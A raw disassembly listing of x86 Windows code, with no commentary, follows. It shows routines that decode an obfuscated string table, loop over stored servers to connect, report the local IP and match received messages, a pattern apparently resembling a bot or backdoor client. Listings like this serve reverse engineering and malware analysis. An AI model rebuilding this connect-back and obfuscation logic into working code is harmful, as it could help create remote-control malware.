loc_13B98A1 push 1 push offset dword_443600 lea eax, [esp+90h+var_34] push 1 push eax mov ecx, esi call sub_13AB5EA lea ecx, [esp+98h+var_44] mov [esp+98h+var_24], 6 push ecx mov ecx, edi call sub_13ABD42 test al, al jz short loc_13B987A lea ecx, [esp+9Ch+var_48] call sub_13ABBE4 push eax push offset dword_443C2C lea ecx, [esi+69h] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 add esp, 18h loc_13B987A: ; CODE XREF: sub_13B9550+2F5j lea ecx, [esp+9Ch+var_48] mov [esp+9Ch+var_28], 0FFFFFFFFh call sub_13AB626 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+90h+var_30] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_13B98A1: ; CODE XREF: sub_13B9550+2C4j mov ecx, [esp+88h+var_1C] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 sub_13B9550 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B99A0 proc near ; CODE XREF: sub_13AC102j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call malloc ; malloc mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_13B99A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B9A10 proc near ; CODE XREF: sub_13ABA95j var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43920Dh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_13AC26A lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_13AB5B3 lea ebp, [esi+28h] mov ecx, ebp call sub_13AB824 lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_13AB824 lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_13ABB49 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_13ABB49 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_13ABB49 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_13ABB49 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_13ABB49 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_13ABB49 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_13ABB49 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_13ABB49 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_13ABB49 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_13ABB49 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_13ABB49 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_13ABB49 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_13ABB49 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_13ABB49 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_13ABB21 mov dword ptr [edi], offset dword_43E034 mov bl, 11h xor edi, edi push offset byte_446F80 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset dword_43E028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_13AB9D7 call GetTickCount ; GetTickCount push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_13ABBE4 push eax push offset dword_44710C call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_13ABDB5 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_13ABBE4 push eax push offset dword_447110 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_13ABBE4 push eax push offset dword_447114 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_13ABDB5 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_13ABBE4 push eax push offset dword_447118 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_13ABDB5 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_13ABBE4 push eax push offset dword_44711C call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_13ABDB5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_13ABBE4 push eax push offset dword_447120 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_13ABDB5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_13ABBE4 push eax push offset dword_447124 call sub_13AC102 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_13AB626 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_13ABBE4 push eax push offset dword_447128 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_13ABBE4 push eax push offset dword_44712C call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_13ABBE4 push eax push offset dword_447130 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_13ABBE4 push eax push offset dword_447134 call sub_13AC102 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_13AB626 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_13ABDB5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_13ABBE4 push eax push offset dword_447138 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_13ABBE4 push eax push offset dword_44713C call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_13ABBE4 push eax push offset dword_447140 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_13ABBE4 push eax push offset dword_447144 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_13ABDB5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_13ABBE4 push eax push offset dword_447148 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_13ABDB5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_13ABBE4 push eax push offset dword_44714C call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_13ABBE4 push eax push offset dword_447150 call sub_13AC102 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_13AB626 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_13B9A10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BA180 proc near ; CODE XREF: sub_13ABDC4j sub_13ABE3Cj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB7C0 test [esp+4+arg_0], 1 jz short loc_13BA198 push esi call near ptr 13E0C02h add esp, 4 loc_13BA198: ; CODE XREF: sub_13BA180+Dj mov eax, esi pop esi retn 4 sub_13BA180 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BA1B0 proc near ; CODE XREF: sub_13AB7C0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43935Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset dword_43E028 mov dword ptr [esi+11h], offset dword_43E034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_13ABF54 lea ecx, [esi+2ACh] mov byte ptr [esp+14h+var_4], 0Fh call sub_13AB423 lea ecx, [esi+27Eh] mov byte ptr [esp+14h+var_4], 0Eh call sub_13AB423 lea ecx, [esi+250h] mov byte ptr [esp+14h+var_4], 0Dh call sub_13AB423 lea ecx, [esi+222h] mov byte ptr [esp+14h+var_4], 0Ch call sub_13AB423 lea ecx, [esi+1F4h] mov byte ptr [esp+14h+var_4], 0Bh call sub_13AB423 lea ecx, [esi+1C6h] mov byte ptr [esp+14h+var_4], 0Ah call sub_13AB423 lea ecx, [esi+198h] mov byte ptr [esp+14h+var_4], 9 call sub_13AB423 lea ecx, [esi+16Ah] mov byte ptr [esp+14h+var_4], 8 call sub_13AB423 lea ecx, [esi+13Ch] mov byte ptr [esp+14h+var_4], 7 call sub_13AB423 lea ecx, [esi+10Eh] mov byte ptr [esp+14h+var_4], 6 call sub_13AB423 lea ecx, [esi+0E0h] mov byte ptr [esp+14h+var_4], 5 call sub_13AB423 lea ecx, [esi+0B2h] mov byte ptr [esp+14h+var_4], 4 call sub_13AB423 lea ecx, [esi+84h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB423 lea ecx, [esi+56h] mov byte ptr [esp+14h+var_4], 2 call sub_13AB423 lea ecx, [esi+3Dh] mov byte ptr [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+28h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AC431 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13BA1B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BA370 proc near ; CODE XREF: sub_13AC52Bj var_188 = dword ptr -188h var_181 = byte ptr -181h var_17C = byte ptr -17Ch var_178 = byte ptr -178h var_16C = byte ptr -16Ch var_160 = byte ptr -160h var_15C = byte ptr -15Ch var_154 = dword ptr -154h var_148 = dword ptr -148h var_140 = byte ptr -140h var_135 = byte ptr -135h var_130 = byte ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_118 = dword ptr -118h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_105 = byte ptr -105h var_104 = dword ptr -104h var_100 = byte ptr -100h var_FC = byte ptr -0FCh var_F8 = byte ptr -0F8h var_F5 = byte ptr -0F5h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = byte ptr -0ECh var_E8 = byte ptr -0E8h var_E5 = byte ptr -0E5h var_E4 = byte ptr -0E4h var_E0 = byte ptr -0E0h var_DC = byte ptr -0DCh var_D8 = byte ptr -0D8h var_D5 = byte ptr -0D5h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_C5 = byte ptr -0C5h var_C4 = byte ptr -0C4h var_C0 = byte ptr -0C0h var_BC = byte ptr -0BCh var_B0 = byte ptr -0B0h var_A5 = byte ptr -0A5h var_A0 = byte ptr -0A0h var_98 = byte ptr -98h var_95 = byte ptr -95h var_94 = byte ptr -94h var_90 = byte ptr -90h var_88 = byte ptr -88h var_85 = byte ptr -85h var_80 = byte ptr -80h var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_68 = byte ptr -68h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_55 = dword ptr -55h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_14 = byte ptr -14h var_4 = byte ptr -4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch arg_18 = byte ptr 1Ch arg_58 = byte ptr 5Ch arg_68 = byte ptr 6Ch arg_6C = byte ptr 70h arg_7C = byte ptr 80h arg_8C = byte ptr 90h arg_9C = byte ptr 0A0h arg_A4 = byte ptr 0A8h arg_AC = byte ptr 0B0h arg_B4 = byte ptr 0B8h arg_B8 = byte ptr 0BCh arg_CC = byte ptr 0D0h arg_D0 = byte ptr 0D4h arg_D8 = byte ptr 0DCh arg_DC = byte ptr 0E0h arg_E0 = byte ptr 0E4h arg_E8 = byte ptr 0ECh arg_EC = byte ptr 0F0h arg_FC = byte ptr 100h arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_158 = byte ptr 15Ch arg_180 = byte ptr 184h arg_184 = byte ptr 188h arg_194 = byte ptr 198h arg_198 = byte ptr 19Ch arg_1A8 = byte ptr 1ACh arg_1C8 = byte ptr 1CCh arg_1E4 = byte ptr 1E8h arg_1F4 = byte ptr 1F8h arg_204 = byte ptr 208h arg_210 = byte ptr 214h arg_21C = byte ptr 220h arg_224 = byte ptr 228h arg_22C = byte ptr 230h arg_23C = byte ptr 240h arg_244 = byte ptr 248h arg_24C = byte ptr 250h arg_254 = byte ptr 258h arg_25C = byte ptr 260h arg_284 = byte ptr 288h arg_2A8 = byte ptr 2ACh arg_2C4 = byte ptr 2C8h arg_2DC = byte ptr 2E0h arg_2EC = byte ptr 2F0h arg_2FC = byte ptr 300h arg_30C = byte ptr 310h arg_364 = byte ptr 368h arg_374 = byte ptr 378h arg_37C = byte ptr 380h arg_38C = byte ptr 390h arg_3B0 = byte ptr 3B4h arg_3B4 = byte ptr 3B8h arg_410 = byte ptr 414h arg_22B4 = byte ptr 22B8h arg_22DC = byte ptr 22E0h arg_22E0 = byte ptr 22E4h arg_22E4 = byte ptr 22E8h arg_22EC = byte ptr 22F0h arg_22F0 = byte ptr 22F4h arg_22F8 = byte ptr 22FCh arg_22FC = byte ptr 2300h arg_2308 = byte ptr 230Ch arg_230C = byte ptr 2310h arg_2314 = byte ptr 2318h arg_2318 = byte ptr 231Ch arg_231C = byte ptr 2320h arg_2328 = byte ptr 232Ch arg_2330 = byte ptr 2334h arg_2334 = byte ptr 2338h arg_2338 = byte ptr 233Ch arg_2340 = byte ptr 2344h arg_2344 = byte ptr 2348h arg_2348 = byte ptr 234Ch arg_234C = byte ptr 2350h arg_2350 = byte ptr 2354h arg_2354 = byte ptr 2358h arg_2358 = byte ptr 235Ch arg_235C = byte ptr 2360h arg_2360 = byte ptr 2364h arg_2364 = byte ptr 2368h arg_2368 = byte ptr 236Ch arg_236C = byte ptr 2370h arg_2374 = byte ptr 2378h arg_2378 = byte ptr 237Ch arg_2384 = byte ptr 2388h arg_2388 = byte ptr 238Ch arg_2394 = byte ptr 2398h arg_2398 = byte ptr 239Ch arg_23A4 = byte ptr 23A8h arg_23A8 = byte ptr 23ACh arg_23B4 = byte ptr 23B8h arg_23B8 = byte ptr 23BCh arg_23C4 = byte ptr 23C8h arg_23C8 = byte ptr 23CCh arg_23D4 = byte ptr 23D8h arg_23D8 = byte ptr 23DCh arg_23E4 = byte ptr 23E8h arg_23E8 = byte ptr 23ECh arg_23F4 = byte ptr 23F8h arg_23F8 = byte ptr 23FCh arg_2408 = byte ptr 240Ch arg_2410 = dword ptr 2414h arg_2418 = dword ptr 241Ch arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push 4395F3h push eax mov eax, 2478h mov large fs:0, esp call near ptr 13E0C60h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_13AB824 mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_13BB740 loc_13BA3B2: ; CODE XREF: sub_13BA370+13CAj mov al, ds:byte_E2AA94 mov edi, GetTickCount cmp al, bl jz loc_13BB740 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_13BA3DA cmp dword ptr [ebp+1Ch], 5 jg short loc_13BA3E4 cmp eax, ebx jz loc_13BA51E loc_13BA3DA: ; CODE XREF: sub_13BA370+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_13BA51E loc_13BA3E4: ; CODE XREF: sub_13BA370+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_13BA3F9 push eax call closesocket ; closesocket loc_13BA3F9: ; CODE XREF: sub_13BA370+80j mov ecx, offset word_448CAE mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_13AB937 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_13ABD74 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_13BA429 mov [ebp+20h], ebx loc_13BA429: ; CODE XREF: sub_13BA370+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_13AB86A mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_44743D mov ecx, offset word_448D26 call sub_13AC332 mov edx, [ebp+20h] mov ecx, esi push edx call sub_13AB86A mov eax, [eax] mov ecx, offset word_448D26 add eax, 1B6h push eax push offset dword_4473F4 call sub_13AC332 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_13AB86A mov edx, [eax] mov ecx, offset word_448D26 push edx push offset dword_4472D0 call sub_13AC332 mov eax, [ebp+20h] mov ecx, esi push eax call sub_13AB86A mov ecx, [eax] add ecx, 124h push ecx push offset word_447362 mov ecx, offset word_448D26 call sub_13AC332 mov edx, [ebp+20h] mov ecx, esi push edx call sub_13AB86A mov eax, [eax] mov ecx, offset word_448D26 add eax, 0DBh push eax push offset byte_447319 call sub_13AC332 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_13AB86A mov edx, [eax] mov ecx, offset word_448D26 add edx, 92h push edx push offset byte_4473AB call sub_13AC332 mov eax, [ebp+20h] mov ecx, esi push eax call sub_13AB86A mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_4474CF mov ecx, offset word_448D26 call sub_13AC332 call edi ; GetTickCount mov [ebp+24h], eax loc_13BA51E: ; CODE XREF: sub_13BA370+64j ; sub_13BA370+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_13BA548 push 6 push 1 push 2 call socket ; socket push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl call Sleep ; Sleep jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BA548: ; CODE XREF: sub_13BA370+1B4j cmp [ebp+15h], bl jnz loc_13BA6D8 mov ax, ds:word_44737C xor edx, edx mov [esp+74h+var_30], edx push eax mov [esp+78h+var_2C], edx mov word ptr [esp+78h+var_30], 2 mov [esp+78h+var_28], edx mov [esp+78h+var_24], edx call htons ; htons mov ecx, offset byte_447319 mov [esp+78h+var_32], ax call sub_13ABBE4 push eax call sub_13ABC7F add esp, 4 mov [esp+78h+var_30], eax call edi ; GetTickCount mov edx, [ebp+18h] lea ecx, [esp+78h+var_34] push 10h push ecx push edx mov [ebp+24h], eax call connect ; connect cmp eax, 0FFFFFFFFh jnz short loc_13BA5C8 push 2710h call Sleep ; Sleep mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BA5C8: ; CODE XREF: sub_13BA370+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi ; GetTickCount mov [ebp+24h], eax xor eax, eax mov [esp+84h+var_50], eax lea ecx, [esp+84h+var_30] mov [esp+84h+var_4C], eax lea edx, [esp+84h+var_50] mov [esp+84h+var_48], eax push ecx mov [esp+88h+var_44], eax mov eax, [ebp+18h] push edx push eax mov [esp+90h+var_30], 10h call getsockname ; getsockname mov ecx, [esp+90h+var_55] mov edx, [esp+3Ah] mov eax, [esp+39h] and ecx, 0FFh push ecx mov ecx, [esp+3Ch] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+0A0h+arg_3B4] push offset dword_443CD4 push edx call wsprintfA ; wsprintfA add esp, 18h lea eax, [esp+90h+arg_3B4] lea ecx, [ebp+3Dh] push eax call sub_13AB9D7 lea ecx, [esp+94h+arg_3B0] push ecx call inet_addr ; inet_addr push offset byte_446F80 mov ecx, offset byte_4473AB mov [ebp+52h], eax call sub_13AB6EE test eax, eax jz short loc_13BA697 mov ecx, offset byte_4473AB call sub_13ABBE4 mov edx, ds:dword_44712C push eax push edx push offset dword_4435F4 push ebp call sub_13AC20B add esp, 10h loc_13BA697: ; CODE XREF: sub_13BA370+305j mov ecx, offset byte_E2AA95 call sub_13ABBE4 push eax mov ecx, offset byte_E2AA95 call sub_13ABBE4 push eax mov eax, ds:dword_447134 push eax mov ecx, offset byte_E2AA95 call sub_13ABBE4 mov ecx, ds:dword_447130 push eax push ecx push offset dword_443CB8 push ebp call sub_13AC20B add esp, 1Ch jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BA6D8: ; CODE XREF: sub_13BA370+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+74h+arg_410] push ebx rep stosd lea eax, [esp+78h+arg_410] push 2000h push eax push edx call sub_13AB680 add esp, 10h cmp al, bl jz loc_13BB730 call GetTickCount ; GetTickCount lea ecx, [esp+74h+var_5C] mov [ebp+24h], eax call sub_13AC0BC lea ecx, [esp+74h+arg_410] push ecx lea ecx, [esp+78h+var_5C] call sub_13ABE87 push offset dword_443600 lea edx, [esp+7Ch+arg_30C] push 1 push edx lea ecx, [esp+84h+var_60] call sub_13ABAAE mov ecx, ds:dword_447138 mov [esp+84h+arg_2408], 1 push ecx mov ecx, eax call sub_13AB6EE test eax, eax jnz short loc_13BA7B0 push offset dword_443600 lea edx, [esp+8Ch+arg_38C] push 4 push edx lea ecx, [esp+94h+var_70] call sub_13ABAAE push offset dword_4473F4 mov ecx, eax mov [esp+98h+arg_23F8], 2 call sub_13ABF72 test eax, eax lea ecx, [esp+98h+arg_37C] mov [esp+98h+arg_23F4], 1 setz [esp+98h+var_85] call sub_13AB626 mov al, [esp+98h+var_85] mov [esp+98h+var_85], 1 cmp al, bl jnz short loc_13BA7B4 loc_13BA7B0: ; CODE XREF: sub_13BA370+3EAj mov [esp+98h+var_85], bl loc_13BA7B4: ; CODE XREF: sub_13BA370+43Ej lea ecx, [esp+98h+arg_2EC] mov [esp+98h+arg_23F4], bl call sub_13AB626 cmp [esp+98h+var_85], bl jz short loc_13BA7D6 mov byte ptr [ebp+16h], 1 jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BA7D6: ; CODE XREF: sub_13BA370+45Bj push offset dword_443600 lea eax, [esp+9Ch+arg_7C] push ebx push eax lea ecx, [esp+0A4h+var_80] call sub_13ABAAE mov ecx, ds:dword_44710C mov [esp+0A4h+arg_23E8], 3 push ecx mov ecx, eax call sub_13AB6EE test eax, eax lea ecx, [esp+0A8h+arg_6C] mov [esp+0A8h+arg_23E4], bl setz [esp+0A8h+var_95] call sub_13AB626 mov al, [esp+0A8h+var_95] push offset dword_443600 cmp al, bl push 1 jz short loc_13BA874 lea edx, [esp+0B0h+arg_21C] lea ecx, [esp+0B0h+var_90] push edx call sub_13ABAAE mov ecx, eax mov [esp+0B4h+arg_23D8], 4 call sub_13ABBE4 push eax mov eax, ds:dword_447128 push eax push offset dword_4435F4 push ebp call sub_13AC20B add esp, 10h mov [esp+0B4h+arg_23D8], bl lea ecx, [esp+0B4h+arg_210] jmp loc_13BA9A2 ; --------------------------------------------------------------------------- loc_13BA874: ; CODE XREF: sub_13BA370+4BAj lea edx, [esp+0B0h+arg_9C] lea ecx, [esp+0B0h+var_90] push edx call sub_13ABAAE mov ecx, ds:dword_447110 mov [esp+0B4h+arg_23D8], 5 push ecx mov ecx, eax call sub_13AB6EE test eax, eax lea ecx, [esp+0B8h+arg_8C] mov [esp+0B8h+arg_23D4], bl setz [esp+0B8h+var_A5] call sub_13AB626 mov al, [esp+0B8h+var_A5] push offset dword_443600 cmp al, bl jz loc_13BA9E0 lea edx, [esp+0BCh+arg_374] push 12h push edx lea ecx, [esp+0C4h+var_A0] call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+0C8h+arg_23C8], 6 call sub_13AB6EE lea ecx, [esp+0C8h+arg_364] mov esi, eax mov [esp+0C8h+arg_23C4], bl call sub_13AB626 cmp esi, ebx jz loc_13BB737 push offset dword_443600 lea eax, [esp+0CCh+arg_AC] push 11h push eax lea ecx, [esp+0D4h+var_B0] call sub_13ABAAE mov ecx, ds:dword_447128 mov [esp+0D4h+arg_23B8], 7 push ecx mov ecx, eax call sub_13AB6EE test eax, eax lea ecx, [esp+0D8h+arg_9C] mov [esp+0D8h+arg_23B4], bl setz [esp+0D8h+var_C5] call sub_13AB626 cmp [esp+0D8h+var_C5], bl jz short loc_13BA9A7 push offset dword_443600 lea edx, [esp+0DCh+arg_21C] push 12h push edx lea ecx, [esp+0E4h+var_C0] call sub_13ABAAE mov ecx, eax mov [esp+0E4h+arg_23A8], 8 call sub_13ABBE4 push eax mov eax, ds:dword_447128 push eax push offset dword_4435F4 push ebp call sub_13AC20B add esp, 10h mov [esp+0E4h+arg_23A8], bl lea ecx, [esp+0E4h+arg_210] loc_13BA9A2: ; CODE XREF: sub_13BA370+4FFj call sub_13AB626 loc_13BA9A7: ; CODE XREF: sub_13BA370+5E6j cmp [ebp+16h], bl jnz loc_13BB737 mov ecx, offset byte_44743D call sub_13ABBE4 push eax mov ecx, offset dword_4473F4 call sub_13ABBE4 mov ecx, ds:dword_447114 push eax push ecx push offset dword_443CA8 push ebp call sub_13AC20B add 